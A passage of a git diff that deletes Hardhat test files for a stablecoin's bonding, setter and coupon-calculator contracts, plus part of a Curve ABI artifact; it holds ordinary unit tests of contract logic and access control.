masterChefV2.getBondingShareInfo(idSecond); - - // user looses the bonding shares corresponding to the amount asked for withdrawal - expect(bsAfter2[0]).to.equal(bs2[0].sub(sharesToRemove2)); - // bonding share is updated accordingly - const bondAfterRemoveLQTY2 = await bondingShareV2.getBond(idSecond); - expect(bondAfterRemoveLQTY2.lpAmount).to.equal(bondAfterRemoveLQTY.lpAmount.sub(amountToWithdraw)); - expect(bondAfterRemoveLQTY2.minter).to.equal(bond.minter); - - expect(bondAfterRemoveLQTY2.lpFirstDeposited).to.equal(bondAfterRemoveLQTY.lpFirstDeposited); - expect(bondAfterRemoveLQTY2.creationBlock).to.equal(bondAfterRemoveLQTY.creationBlock); - expect(bondAfterRemoveLQTY2.endBlock).to.equal(bondAfterRemoveLQTY.endBlock); - const accLpRewardPerShare = await bondingV2.accLpRewardPerShare(); - const lpRewardDebt = bsAfter2[0].mul(accLpRewardPerShare).div(BigNumber.from(1e12)); - expect(bondAfterRemoveLQTY2.lpRewardDebt).to.equal(lpRewardDebt); - }); - it("uADPriceReset should work", async () => { - const bondingUADBalanceBefore = await uAD.balanceOf(bondingV2.address); - const pool0bal0 = await metaPool.balances(0); - const pool1bal0 = await metaPool.balances(1); - expect(pool0bal0).to.equal(ethers.utils.parseEther("10300")); - expect(pool1bal0).to.equal(ethers.utils.parseEther("10300")); - - const amountOf3CRVforOneUADBefore = await metaPool["get_dy(int128,int128,uint256)"](0, 1, ethers.utils.parseEther("1")); - // remove the pending rewards - const treasuryAdr = await treasury.getAddress(); - // only leave 4.2 eth as lp rewards - - const amountOfLpdeposited = one.mul(100); - // deposit 100 uLP more tokens in addition to the 100 already in the bonding contract - const idSecond = (await deposit(secondAccount, amountOfLpdeposited, 1)).id; - const bondBefore = await bondingShareV2.balanceOf(secondAddress, idSecond); - const totalBondingLPDeposited = await bondingShareV2.totalLP(); - // value in LP of a bonding share - const shareValueBefore = await bondingV2.currentShareValue(); - const sharesTotalSupply = await masterChefV2.totalShares(); - // amount of uAD inside the treasury - const treasuryUADBalanceBeforeReset = await uAD.balanceOf(treasuryAdr); - // priceBOND = totalLP / totalShares * TARGET_PRICE - const calculatedShareValue = totalBondingLPDeposited.mul(one).div(sharesTotalSupply); - expect(shareValueBefore).to.equal(calculatedShareValue); - // const amountToTreasury = ethers.utils.parseEther("196.586734740380915533"); - const amountOfUAD = await metaPool["calc_withdraw_one_coin(uint256,int128)"](totalBondingLPDeposited, 0); - const bondingSCBalanceBefore = await metaPool.balanceOf(bondingV2.address); - await expect(bondingV2.uADPriceReset(totalBondingLPDeposited)) - .to.emit(uAD, "Transfer") - .withArgs(bondingV2.address, treasuryAdr, amountOfUAD) - .and.to.emit(bondingV2, "PriceReset") - .withArgs(uAD.address, amountOfUAD, amountOfUAD); - const treasuryUADBalanceAfterReset = await uAD.balanceOf(treasuryAdr); - expect(treasuryUADBalanceAfterReset).to.equal(treasuryUADBalanceBeforeReset.add(amountOfUAD)); - const bondAfter = await bondingShareV2.balanceOf(secondAddress, idSecond); - // bonding share should remain the same - expect(bondBefore).to.equal(bondAfter); - // amount of curve LP to be withdrawn should be less - const shareValueAfter = await bondingV2.currentShareValue(); - const bondingSCBalanceAfter = await metaPool.balanceOf(bondingV2.address); - - expect(bondingSCBalanceAfter).to.equal(bondingSCBalanceBefore.sub(totalBondingLPDeposited)); - // share value is the same - expect(shareValueAfter).to.equal(shareValueBefore); - const bondingUADBalanceAfter = await uAD.balanceOf(bondingV2.address); - const oraclePrice = await twapOracle.consult(uAD.address); - const amountOf3CRVforOneUADAfter = await metaPool["get_dy(int128,int128,uint256)"](0, 1, ethers.utils.parseEther("1")); - const oracleCRVPrice = await twapOracle.consult(crvToken.address); - // price of uAD against 3CRV should be greater than before - // meaning for a uAD you can have more 3CRV - expect(amountOf3CRVforOneUADAfter).to.be.gt(amountOf3CRVforOneUADBefore); - const pool0bal = await metaPool.balances(0); - const pool1bal = await metaPool.balances(1); - expect(bondingUADBalanceBefore).to.equal(0); - expect(bondingUADBalanceAfter).to.equal(0); - expect(pool1bal).to.equal(pool1bal0); - expect(pool0bal).to.be.lt(pool0bal0.sub(amountOfUAD)); - await swapToUpdateOracle(metaPool, crvToken, uAD, admin); - - await twapOracle.update(); - const oraclePriceLatest = await twapOracle.consult(uAD.address); - const oracleCRVPriceLatest = await twapOracle.consult(crvToken.address); - // After update the TWAP price of uAD against 3CRV should be greater than before - // the price of uAD against price of 3CRV should be greater than before - expect(oraclePriceLatest).to.be.gt(oraclePrice); - expect(oracleCRVPriceLatest).to.be.lt(oracleCRVPrice); - // user can't withdraw all his deposited LP token because of the price reset - const lastBlockNum = await latestBlockNumber(); - const bond = await bondingShareV2.getBond(idSecond); - const endOfLockingInBlock = bond.endBlock.toNumber() - lastBlockNum.number; - - await mineNBlock(endOfLockingInBlock); - - const bs = await masterChefV2.getBondingShareInfo(idSecond); - - await metaPool.connect(admin).transfer(bondingV2.address, ethers.utils.parseEther("10")); - const bondingSCBalanceNew = await metaPool.balanceOf(bondingV2.address); - let amountToWithdraw = bond.lpAmount.div(2); - const sharesToRemove = await bondingFormulas.sharesForLP(bond, bs, amountToWithdraw); - const pendingLpRewards = await bondingV2.pendingLpRewards(idSecond); - // there is still less LP on bonding than the total LP deposited - expect(pendingLpRewards).to.equal(0); - - const correctedAmount = amountToWithdraw.mul(bondingSCBalanceNew.sub(pendingLpRewards)).div(totalBondingLPDeposited); - - const secondAccbalanceBeforeRemove = await metaPool.balanceOf(secondAddress); - await expect(bondingV2.connect(secondAccount).removeLiquidity(amountToWithdraw, idSecond)) - .to.emit(bondingV2, "RemoveLiquidityFromBond") - .withArgs(secondAddress, idSecond, amountToWithdraw, correctedAmount, pendingLpRewards, sharesToRemove); - // user gets the corrected amount of LP - const secondAccbalanceAfterRemove = await metaPool.balanceOf(secondAddress); - expect(secondAccbalanceAfterRemove).to.equal(secondAccbalanceBeforeRemove.add(correctedAmount)); - const bsAfter = await masterChefV2.getBondingShareInfo(idSecond); - - // user looses the bonding shares corresponding to the amount asked for withdrawal - expect(bsAfter[0]).to.equal(bs[0].sub(sharesToRemove)); - // bonding share is updated accordingly - const bondAfterRemoveLQTY = await bondingShareV2.getBond(idSecond); - expect(bondAfterRemoveLQTY.lpAmount).to.equal(bond.lpAmount.sub(amountToWithdraw)); - expect(bondAfterRemoveLQTY.minter).to.equal(bond.minter); - - expect(bondAfterRemoveLQTY.lpFirstDeposited).to.equal(bond.lpFirstDeposited); - expect(bondAfterRemoveLQTY.creationBlock).to.equal(bond.creationBlock); - expect(bondAfterRemoveLQTY.endBlock).to.equal(bond.endBlock); - expect(bondAfterRemoveLQTY.lpRewardDebt).to.equal(bond.lpRewardDebt); - - /** - * make sure that if LP are back on the bonding contract user can access rewards and its LP - */ - - amountToWithdraw = bondAfterRemoveLQTY.lpAmount.div(5); - const totLP = await bondingShareV2.totalLP(); - await metaPool.connect(admin).transfer(bondingV2.address, totLP); - // spice things up by adding a deposit - - const bondFour = await deposit(fourthAccount, ethers.utils.parseEther("1"), 8); - const bs2 = await masterChefV2.getBondingShareInfo(idSecond); - const bs4 = await masterChefV2.getBondingShareInfo(bondFour.id); - const bsmin = await masterChefV2.getBondingShareInfo(bondMinId); - const bsmax = await masterChefV2.getBondingShareInfo(bondMaxId); - const sharesToRemove2 = await bondingFormulas.sharesForLP(bondAfterRemoveLQTY, bs2, amountToWithdraw); - const secondAccbalanceBeforeRemove2 = await metaPool.balanceOf(secondAddress); - const pendingLpRewards2 = await bondingV2.pendingLpRewards(idSecond); - const pendingLpRewards4 = await bondingV2.pendingLpRewards(bondFour.id); - const pendingLpRewardsMin = await bondingV2.pendingLpRewards(bondMinId); - const pendingLpRewardsMax = await bondingV2.pendingLpRewards(bondMaxId); - expect(pendingLpRewards4).to.equal(0); - expect(pendingLpRewards2).to.be.gt(0).and.to.be.lt(pendingLpRewardsMin); - expect(await masterChefV2.totalShares()).to.equal(bs2[0].add(bs4[0]).add(bsmin[0]).add(bsmax[0])); - const isPrecise = isAmountEquivalent( - (await bondingV2.lpRewards()).toString(), - pendingLpRewardsMin.add(pendingLpRewardsMax).add(pendingLpRewards2).add(pendingLpRewards4).toString(), - "0.00000001" - ); - - expect(isPrecise).to.be.true; - - await expect(bondingV2.connect(secondAccount).removeLiquidity(amountToWithdraw, idSecond)) - .to.emit(bondingV2, "RemoveLiquidityFromBond") - .withArgs(secondAddress, idSecond, amountToWithdraw, amountToWithdraw, pendingLpRewards2, sharesToRemove2); - // user gets the corrected amount of LP - const secondAccbalanceAfterRemove2 = await metaPool.balanceOf(secondAddress); - - expect(secondAccbalanceAfterRemove2).to.equal(secondAccbalanceBeforeRemove2.add(amountToWithdraw).add(pendingLpRewards2)); - const bsAfter2 = await masterChefV2.getBondingShareInfo(idSecond); - - // user looses the bonding shares corresponding to the amount asked for withdrawal - expect(bsAfter2[0]).to.equal(bs2[0].sub(sharesToRemove2)); - // bonding share is updated accordingly - const bondAfterRemoveLQTY2 = await bondingShareV2.getBond(idSecond); - expect(bondAfterRemoveLQTY2.lpAmount).to.equal(bondAfterRemoveLQTY.lpAmount.sub(amountToWithdraw)); - expect(bondAfterRemoveLQTY2.minter).to.equal(bond.minter); - - expect(bondAfterRemoveLQTY2.lpFirstDeposited).to.equal(bondAfterRemoveLQTY.lpFirstDeposited); - expect(bondAfterRemoveLQTY2.creationBlock).to.equal(bondAfterRemoveLQTY.creationBlock); - expect(bondAfterRemoveLQTY2.endBlock).to.equal(bondAfterRemoveLQTY.endBlock); - const accLpRewardPerShare = await bondingV2.accLpRewardPerShare(); - const lpRewardDebt = bsAfter2[0].mul(accLpRewardPerShare).div(BigNumber.from(1e12)); - expect(bondAfterRemoveLQTY2.lpRewardDebt).to.equal(lpRewardDebt); - }); - it("uADPriceReset should work twice", async () => { - const pool0bal0 = await metaPool.balances(0); - const pool1bal0 = await metaPool.balances(1); - expect(pool0bal0).to.equal(ethers.utils.parseEther("10300")); - expect(pool1bal0).to.equal(ethers.utils.parseEther("10300")); - - // remove the pending rewards - const treasuryAdr = await treasury.getAddress(); - // only leave 4.2 eth as lp rewards - const firstLPRewards = ethers.utils.parseEther("4.2"); - await metaPool.connect(admin).transfer(bondingV2.address, firstLPRewards); - const amountOfLpdeposited = one.mul(100); - // deposit 100 uLP more tokens in addition to the 100 already in the bonding contract - const idSecond = (await deposit(secondAccount, amountOfLpdeposited, 1)).id; - - const amountToPriceReset = amountOfLpdeposited.div(2); - - // we will remove half of the deposited LP - // keep in mind that we also have 4.2eth as lp rewards - const amountOfUAD = await metaPool["calc_withdraw_one_coin(uint256,int128)"](amountToPriceReset, 0); - await expect(bondingV2.uADPriceReset(amountToPriceReset)) - .to.emit(uAD, "Transfer") - .withArgs(bondingV2.address, treasuryAdr, amountOfUAD) - .and.to.emit(bondingV2, "PriceReset") - .withArgs(uAD.address, amountOfUAD, amountOfUAD); - - const pendingLpRewards = await bondingV2.pendingLpRewards(idSecond); - // there is still less LP on bonding than the total LP deposited - expect(pendingLpRewards).to.equal(0); - - // spice things up by adding a deposit - const amountOf2ndLPdeposit = one.mul(10); - const idFourth = (await deposit(fourthAccount, amountOf2ndLPdeposit, 8)).id; - - const amountTo2ndPriceReset = ethers.utils.parseEther("8"); - // now we should have 4.2 +100 -50 +10 -8 = 56.2 for total bond of 110 - - const totalLPDeposited = await bondingShareV2.totalLP(); - expect(totalLPDeposited).to.equal(bondMin.lpAmount.add(bondMax.lpAmount).add(amountOfLpdeposited.add(amountOf2ndLPdeposit))); - - // we will remove half of the deposited LP - // keep in mind that we also have 4.2eth as lp rewards - const amountOf2ndUAD = await metaPool["calc_withdraw_one_coin(uint256,int128)"](amountTo2ndPriceReset, 0); - await expect(bondingV2.uADPriceReset(amountTo2ndPriceReset)) - .to.emit(uAD, "Transfer") - .withArgs(bondingV2.address, treasuryAdr, amountOf2ndUAD) - .and.to.emit(bondingV2, "PriceReset") - .withArgs(uAD.address, amountOf2ndUAD, amountOf2ndUAD); - const bondingLPBalance = await metaPool.balanceOf(bondingV2.address); - expect(bondingLPBalance).to.equal(totalLPDeposited.add(firstLPRewards).sub(amountToPriceReset).sub(amountTo2ndPriceReset)); - - const amountToWithdraw = amountOfLpdeposited.div(2); - const bs2 = await masterChefV2.getBondingShareInfo(idSecond); - const bond = await bondingShareV2.getBond(idSecond); - const sharesToRemove2 = await bondingFormulas.sharesForLP(bond, bs2, amountToWithdraw); - - const bondingSCBalanceBeforeRemove2 = await metaPool.balanceOf(bondingV2.address); - const secondAccbalanceBeforeRemove2 = await metaPool.balanceOf(secondAddress); - const totalBondingLPDeposited2 = await bondingShareV2.totalLP(); - - const pendingLpRewards2 = await bondingV2.pendingLpRewards(idSecond); - - expect(pendingLpRewards2).to.equal(0); - const pendingLpRewards4 = await bondingV2.pendingLpRewards(idFourth); - expect(pendingLpRewards4).to.equal(0); - const lpRewards = await bondingV2.lpRewards(); - const correctedAmount2 = amountToWithdraw.mul(bondingSCBalanceBeforeRemove2.sub(lpRewards)).div(totalBondingLPDeposited2); - - const bondAfterRemoveLQTY = await bondingShareV2.getBond(idSecond); - - const lastBlockNum = await latestBlockNumber(); - const endOfLockingInBlock = bond.endBlock.toNumber() - lastBlockNum.number; - - await mineNBlock(endOfLockingInBlock); - await expect(bondingV2.connect(secondAccount).removeLiquidity(amountToWithdraw, idSecond)) - .to.emit(bondingV2, "RemoveLiquidityFromBond") - .withArgs(secondAddress, idSecond, amountToWithdraw, correctedAmount2, pendingLpRewards2, sharesToRemove2); - // user gets the corrected amount of LP - const secondAccbalanceAfterRemove2 = await metaPool.balanceOf(secondAddress); - const bondingSCBalanceAfterRemove2 = await metaPool.balanceOf(bondingV2.address); - // we have transferred the corrected amount not the amount we asked - expect(bondingSCBalanceAfterRemove2).to.equal(bondingSCBalanceBeforeRemove2.sub(correctedAmount2)); - expect(secondAccbalanceAfterRemove2).to.equal(secondAccbalanceBeforeRemove2.add(correctedAmount2)); - const bsAfter2 = await masterChefV2.getBondingShareInfo(idSecond); - - // user looses the bonding shares corresponding to the amount asked for withdrawal - expect(bsAfter2[0]).to.equal(bs2[0].sub(sharesToRemove2)); - // bonding share is updated accordingly - const bondAfterRemoveLQTY2 = await bondingShareV2.getBond(idSecond); - expect(bondAfterRemoveLQTY2.lpAmount).to.equal(bondAfterRemoveLQTY.lpAmount.sub(amountToWithdraw)); - expect(bondAfterRemoveLQTY2.minter).to.equal(bond.minter); - - expect(bondAfterRemoveLQTY2.lpFirstDeposited).to.equal(bondAfterRemoveLQTY.lpFirstDeposited); - expect(bondAfterRemoveLQTY2.creationBlock).to.equal(bondAfterRemoveLQTY.creationBlock); - expect(bondAfterRemoveLQTY2.endBlock).to.equal(bondAfterRemoveLQTY.endBlock); - const accLpRewardPerShare = await bondingV2.accLpRewardPerShare(); - const lpRewardDebt = bsAfter2[0].mul(accLpRewardPerShare).div(BigNumber.from(1e12)); - expect(bondAfterRemoveLQTY2.lpRewardDebt).to.equal(lpRewardDebt); - }); -}); diff --git a/packages/contracts/dollar/test/BondingV2.setters.test.ts b/packages/contracts/dollar/test/BondingV2.setters.test.ts deleted file mode 100644 index a1a0dca31..000000000 --- a/packages/contracts/dollar/test/BondingV2.setters.test.ts +++ /dev/null @@ -1,106 +0,0 @@ -import { ethers, Signer } from "ethers"; -import { describe, it } from "mocha"; -import { expect } from "./setup"; -import { BondingV2 } from "../artifacts/types/BondingV2"; -import { bondingSetupV2 } from "./BondingSetupV2"; - -describe("bondingV2 Setters", () => { - let bondingV2: BondingV2; - let admin: Signer; - let secondAccount: Signer; - let DAI: string; - let USDC: string; - - before(async () => { - ({ admin, secondAccount, bondingV2, DAI, USDC } = await bondingSetupV2()); - }); - describe("CollectableDust", () => { - it("Admin should be able to add protocol token (CollectableDust)", async () => { - await bondingV2.connect(admin).addProtocolToken(USDC); - }); - - it("should revert when another account tries to add protocol token (CollectableDust)", async () => { - await expect(bondingV2.connect(secondAccount).addProtocolToken(USDC)).to.be.revertedWith("not manager"); - }); - - it("should revert when trying to add an already existing protocol token (CollectableDust)", async () => { - await expect(bondingV2.connect(admin).addProtocolToken(USDC)).to.be.revertedWith("collectable-dust::token-is-part-of-the-protocol"); - }); - - it("should revert when another account tries to remove a protocol token (CollectableDust)", async () => { - await expect(bondingV2.connect(secondAccount).removeProtocolToken(USDC)).to.be.revertedWith("not manager"); - }); - - it("Admin should be able to remove protocol token (CollectableDust)", async () => { - await bondingV2.connect(admin).removeProtocolToken(USDC); - }); - - it("should revert when trying to remove token that is not a part of the protocol (CollectableDust)", async () => { - await expect(bondingV2.connect(admin).removeProtocolToken(USDC)).to.be.revertedWith("collectable-dust::token-not-part-of-the-protocol"); - }); - - it("Admin should be able to send dust from the contract (CollectableDust)", async () => { - // Send ETH to the Bonding contract - await secondAccount.sendTransaction({ - to: bondingV2.address, - value: ethers.utils.parseUnits("100", "gwei"), - }); - - // Send dust back to the admin - await bondingV2.connect(admin).sendDust(await admin.getAddress(), await bondingV2.ETH_ADDRESS(), ethers.utils.parseUnits("50", "gwei")); - }); - - it("should emit DustSent event (CollectableDust)", async () => { - await expect(bondingV2.connect(admin).sendDust(await admin.getAddress(), await bondingV2.ETH_ADDRESS(), ethers.utils.parseUnits("50", "gwei"))) - .to.emit(bondingV2, "DustSent") - .withArgs(await admin.getAddress(), await bondingV2.ETH_ADDRESS(), ethers.utils.parseUnits("50", "gwei")); - }); - it("should revert when another account tries to remove dust from the contract (CollectableDust)", async () => { - await expect( - bondingV2.connect(secondAccount).sendDust(await admin.getAddress(), await bondingV2.ETH_ADDRESS(), ethers.utils.parseUnits("100", "gwei")) - ).to.be.revertedWith("not manager"); - }); - - it("should emit ProtocolTokenAdded event (CollectableDust)", async () => { - await expect(bondingV2.connect(admin).addProtocolToken(DAI)).to.emit(bondingV2, "ProtocolTokenAdded").withArgs(DAI); - }); - - it("should emit ProtocolTokenRemoved event (CollectableDust)", async () => { - await expect(bondingV2.connect(admin).removeProtocolToken(DAI)).to.emit(bondingV2, "ProtocolTokenRemoved").withArgs(DAI); - }); - }); - - describe("blockCountInAWeek", () => { - it("Admin should be able to update the blockCountInAWeek", async () => { - await bondingV2.connect(admin).setBlockCountInAWeek(ethers.BigNumber.from(2)); - expect(await bondingV2.blockCountInAWeek()).to.equal(ethers.BigNumber.from(2)); - }); - - it("should revert when unauthorized accounts try to update the bondingDiscountMultiplier", async () => { - await expect(bondingV2.connect(secondAccount).setBlockCountInAWeek(ethers.BigNumber.from(2))).to.be.revertedWith("not manager"); - }); - - it("should emit the BondingDiscountMultiplierUpdated event", async () => { - await expect(bondingV2.connect(admin).setBlockCountInAWeek(ethers.BigNumber.from(2))) - .to.emit(bondingV2, "BlockCountInAWeekUpdated") - .withArgs(ethers.BigNumber.from(2)); - }); - }); - - describe("bondingDiscountMultiplier", () => { - it("Admin should be able to update the bondingDiscountMultiplier", async () => { - await bondingV2.connect(admin).setBondingDiscountMultiplier(ethers.BigNumber.from(2)); - expect(await bondingV2.bondingDiscountMultiplier()).to.equal(ethers.BigNumber.from(2)); - }); - - it("should revert when unauthorized accounts try to update the bondingDiscountMultiplier", async () => { - await expect(bondingV2.connect(secondAccount).setBondingDiscountMultiplier(ethers.BigNumber.from(2))).to.be.revertedWith("not manager"); - }); - - it("should emit the BondingDiscountMultiplierUpdated event", async () => { - await expect(bondingV2.connect(admin).setBondingDiscountMultiplier(ethers.BigNumber.from(2))) - .to.emit(bondingV2, "BondingDiscountMultiplierUpdated") - .withArgs(ethers.BigNumber.from(2)); - }); - }); -}); diff --git a/packages/contracts/dollar/test/CouponForDollarsCalculator.test.ts b/packages/contracts/dollar/test/CouponForDollarsCalculator.test.ts deleted file mode 100644 index bcf6532ed..000000000 --- a/packages/contracts/dollar/test/CouponForDollarsCalculator.test.ts +++ /dev/null @@ -1,119 +0,0 @@ -import { BigNumber, Signer } from "ethers"; -import { ethers } from "hardhat"; -import { expect } from "chai"; -import { UbiquityAlgorithmicDollarManager } from "../artifacts/types/UbiquityAlgorithmicDollarManager"; -import { MockuADToken } from "../artifacts/types/MockuADToken"; -import { MockDebtCoupon } from "../artifacts/types/MockDebtCoupon"; -import { DebtCouponManager } from "../artifacts/types/DebtCouponManager"; -import { CouponsForDollarsCalculator } from "../artifacts/types/CouponsForDollarsCalculator"; - -import { calcPremium } from "./utils/calc"; - -describe("CouponForDollarCalculator", () => { - let couponsForDollarsCalculator: CouponsForDollarsCalculator; - let manager: UbiquityAlgorithmicDollarManager; - let debtCouponMgr: DebtCouponManager; - let debtCoupon: MockDebtCoupon; - let admin: Signer; - let uAD: MockuADToken; - // let twapOracle: TWAPOracle; - const couponLengthBlocks = 10; - - const setup = async (uADTotalSupply: BigNumber, totalDebt: BigNumber) => { - // set uAD Mock - const UAD = await ethers.getContractFactory("MockuADToken"); - uAD = (await UAD.deploy(uADTotalSupply)) as MockuADToken; - await manager.connect(admin).setDollarTokenAddress(uAD.address); - // set debt coupon Mock - const debtCouponFactory = await ethers.getContractFactory("MockDebtCoupon"); - debtCoupon = (await debtCouponFactory.deploy(totalDebt)) as MockDebtCoupon; - await manager.connect(admin).setDebtCouponAddress(debtCoupon.address); - }; - - beforeEach(async () => { - // list of accounts - [admin] = await ethers.getSigners(); - // deploy manager - const UADMgr = await ethers.getContractFactory("UbiquityAlgorithmicDollarManager"); - manager = (await UADMgr.deploy(await admin.getAddress())) as UbiquityAlgorithmicDollarManager; - - // set coupon for dollars calculator - const couponsForDollarsCalculatorFactory = await ethers.getContractFactory("CouponsForDollarsCalculator"); - couponsForDollarsCalculator = (await couponsForDollarsCalculatorFactory.deploy(manager.address)) as CouponsForDollarsCalculator; - - await manager.connect(admin).setCouponCalculatorAddress(couponsForDollarsCalculator.address); - // set debt coupon Manager - const dcManagerFactory = await ethers.getContractFactory("DebtCouponManager"); - debtCouponMgr = (await dcManagerFactory.deploy(manager.address, couponLengthBlocks)) as DebtCouponManager; - // debtCouponMgr should have the COUPON_MANAGER_ROLE - const COUPON_MANAGER_ROLE = ethers.utils.keccak256(ethers.utils.toUtf8Bytes("COUPON_MANAGER")); - await manager.connect(admin).grantRole(COUPON_MANAGER_ROLE, debtCouponMgr.address); - }); - it("getCouponAmount should work without debt set to 0", async () => { - await setup(BigNumber.from(10000000), BigNumber.from(0)); - // check that total debt is null - const totalDebt = await debtCoupon.getTotalOutstandingDebt(); - expect(totalDebt).to.equal(0); - const amountToExchangeForCoupon = 1; - const couponToMint = await couponsForDollarsCalculator.getCouponAmount(amountToExchangeForCoupon); - expect(couponToMint).to.equal(amountToExchangeForCoupon); - }); - it("getCouponAmount should work without debt set to 0 and large supply", async () => { - await setup(ethers.utils.parseEther("100000000"), BigNumber.from(0)); - // check that total debt is null - const totalDebt = await debtCoupon.getTotalOutstandingDebt(); - expect(totalDebt).to.equal(0); - const amountToExchangeForCoupon = ethers.utils.parseEther("1"); - const couponToMint = await couponsForDollarsCalculator.getCouponAmount(amountToExchangeForCoupon); - expect(couponToMint).to.equal(amountToExchangeForCoupon); - }); - it("getCouponAmount should work without debt set to 10%", async () => { - const totalSupply = ethers.utils.parseEther("100000000"); - const totalDebt = ethers.utils.parseEther("10000000"); - const amountStr = ethers.utils.parseEther("42.456").toString(); - const premium = calcPremium(amountStr, "100000000", "10000000"); - - await setup(totalSupply, totalDebt); - // check that total debt is null - const totalOutstandingDebt = await debtCoupon.getTotalOutstandingDebt(); - expect(totalOutstandingDebt).to.equal(totalDebt); - const couponToMint = await couponsForDollarsCalculator.getCouponAmount(amountStr); - expect(couponToMint).to.equal(premium); - }); - it("getCouponAmount should work without debt set to 50%", async () => { - const totalDebt = "1082743732732734394894"; - const totalSupply = "2165487465465468789789"; - const amountStr = "6546546778667854444"; - const premium = calcPremium(amountStr, totalSupply, totalDebt); - await setup(BigNumber.from(totalSupply), BigNumber.from(totalDebt)); - // check that total debt is null - const totalOutstandingDebt = await debtCoupon.getTotalOutstandingDebt(); - expect(totalOutstandingDebt).to.equal(totalDebt); - const amountToExchangeForCoupon = BigNumber.from(amountStr); - const couponToMint = await couponsForDollarsCalculator.getCouponAmount(amountToExchangeForCoupon); - expect(couponToMint).to.equal(premium); - }); - it("getCouponAmount should work without debt set to 99%", async () => { - const totalDebt = "2165487465465468789789"; - const totalSupply = "2185487465465468799999"; - const amountStr = "65465456489789711112"; - const premium = calcPremium(amountStr, totalSupply, totalDebt); - - await setup(BigNumber.from(totalSupply), BigNumber.from(totalDebt)); - - const totalOutstandingDebt = await debtCoupon.getTotalOutstandingDebt(); - expect(totalOutstandingDebt).to.equal(totalDebt); - const amountToExchangeForCoupon = BigNumber.from(amountStr); - - const couponToMint = await couponsForDollarsCalculator.getCouponAmount(amountToExchangeForCoupon); - - expect(couponToMint).to.equal(premium); - }); - it("getCouponAmount should revert with debt set to 100%", async () => { - const totalDebt = "2165487465465468789789"; - await setup(BigNumber.from(totalDebt), BigNumber.from(totalDebt)); - const totalOutstandingDebt = await debtCoupon.getTotalOutstandingDebt(); - expect(totalOutstandingDebt).to.equal(totalDebt); - await expect(couponsForDollarsCalculator.getCouponAmount(1)).to.revertedWith("Coupon to dollar: DEBT_TOO_HIGH"); - }); -}); diff --git a/packages/contracts/dollar/test/Curve.json b/packages/contracts/dollar/test/Curve.json deleted file mode 100644 index 8680f30df..000000000 --- a/packages/contracts/dollar/test/Curve.json +++ /dev/null @@ -1,314 +0,0 @@ -{ - "_format": "hh-vyper-artifact-1", - "contractName": "Curve", - "sourceName": "contracts/external/Curve.vy", - "abi": [ - { - "name": "Transfer", - "inputs": [ - { - "type": "address", - "name": "_from", - "indexed": true - }, - { - "type": "address", - "name": "_to", - "indexed": true - }, - { - "type": "uint256", - "name": "_value", - "indexed": false - } - ], - "anonymous": false, - "type": "event" - }, - { - "name": "Approval", - "inputs": [ - { - "type": "address", - "name": "_owner", - "indexed": true - }, - { - "type": "address", - "name": "_spender", - "indexed": true - }, - { - "type": "uint256", - "name": "_value", - "indexed": false - } - ], - "anonymous": false, - "type": "event" - }, - { - "outputs": [], - "inputs": [ - { - "type": "string", - "name": "_name" - }, - { - "type": "string", - "name": "_symbol" - }, - { - "type": "uint256", - "name": "_decimals" - }, - { - "type": "uint256", - "name": "_supply" - } - ], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "name": "set_minter", - "outputs": [], - "inputs": [ - { - "type": "address", - "name": "_minter" - } - ], - "stateMutability": "nonpayable", - "type": "function", - "gas": "36247" - }, - { - "name": "set_name", - "outputs": [], - "inputs": [ - { - "type": "string", - "name": "_name" - }, - { - "type": "string", - "name": "_symbol" - } - ], - "stateMutability": "nonpayable", - "type": "function", - "gas": "178069" - }, - { - "name": "totalSupply", - "outputs": [ - { - "type": "uint256", - "name": "" - } - ], - "inputs": [], - "stateMutability": "view", - "type": "function", - "gas": "1211" - }, - { - "name": "allowance", - "outputs": [ - { - "type": "uint256", - "name": "" - } - ], - "inputs": [ - { - "type": "address", - "name": "_owner" - }, - { - "type": "address", - "name": "_spender" - } - ], - "stateMutability": "view", - "type": "function", - "gas": "1549" - }, - { - "name": "transfer", - "outputs": [ - { - "type": "bool", - "name": "" - } - ], - "inputs": [ - { - "type": "address", - "name": "_to" - }, - { - "type": "uint256", - "name": "_value" - } - ], - "stateMutability": "nonpayable", - "type": "function", - "gas": "74832" - }, - { - "name": "transferFrom", - "outputs": [ - { - "type": "bool", - "name": "" - } - ], - "inputs": [ - { - "type": "address", - "name": "_from" - }, - { - "type": "address", - "name": "_to" - }, - { - "type": "uint256", - "name": "_value" - } - ], - "stateMutability": "nonpayable", - "type": "function", - "gas": "111983" - }, - { - "name": "approve", - "outputs": [ - { - "type": "bool", - "name": "" - } - ], - "inputs": [ - { - "type": "address", - "name": "_spender" - }, - { - "type": "uint256", - "name": "_value" - } - ], - "stateMutability": "nonpayable", - "type": "function", - "gas": "39078" - }, - { - "name": "mint", - "outputs": [ - { - "type": "bool", - "name": "" - } - ], - "inputs": [ - { - "type": "address", - "name": "_to" - }, - { - "type": "uint256", - "name": "_value" - } - ], - "stateMutability": "nonpayable", - "type": "function", - "gas": "75808" - }, - { - "name": "burnFrom", - "outputs": [ - { - "type": "bool", - "name": "" - } - ], - "inputs": [ - { - "type": "address", - "name": "_to" - }, - { - "type": "uint256", - "name": "_value" - } - ], - "stateMutability": "nonpayable", - "type": "function", - "gas": "75826" - }, - { - "name": "name", - "outputs": [ - { - "type": "string", - "name": "" - } - ], - "inputs": [], - "stateMutability": "view", - "type": "function", - "gas": "7823" - }, - { - "name": "symbol", - "outputs": [ - { - "type": "string", - "name": "" - } - ], - "inputs": [], - "stateMutability": "view", - "type": "function", - "gas": "6876" - }, - { - "name": "decimals", - "outputs": [ - { - "type": "uint256", - "name": "" - } - ], - "inputs": [], - "stateMutability": "view", - "type": "function", - "gas": "1481" - }, - { - "name": "balanceOf", - "outputs": [ - { - "type": "uint256", - "name": "" - } - ], - "inputs": [ - { - "type": "address", - "name": "arg0" - } - ], - "stateMutability": "view", - "type": "function", - "gas": "1665" - } - ], - "bytecode": 